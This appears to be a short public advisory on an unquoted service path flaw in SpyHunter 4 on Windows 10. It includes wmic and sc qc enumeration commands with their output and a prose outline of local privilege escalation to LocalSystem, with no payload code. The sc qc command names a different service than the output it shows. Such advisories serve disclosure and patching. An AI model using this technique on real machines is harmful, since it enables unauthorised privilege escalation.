# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.enigmasoftware.com # Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/ # Tested Version: 4 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """ SpyHunter 4 Service SpyHunter 4 Service C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe Auto # Service info: C:\>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SpyHunter 4 Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe LOAD_ORDER_GROUP : Base TAG : 0 DISPLAY_NAME : SpyHunter 4 Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.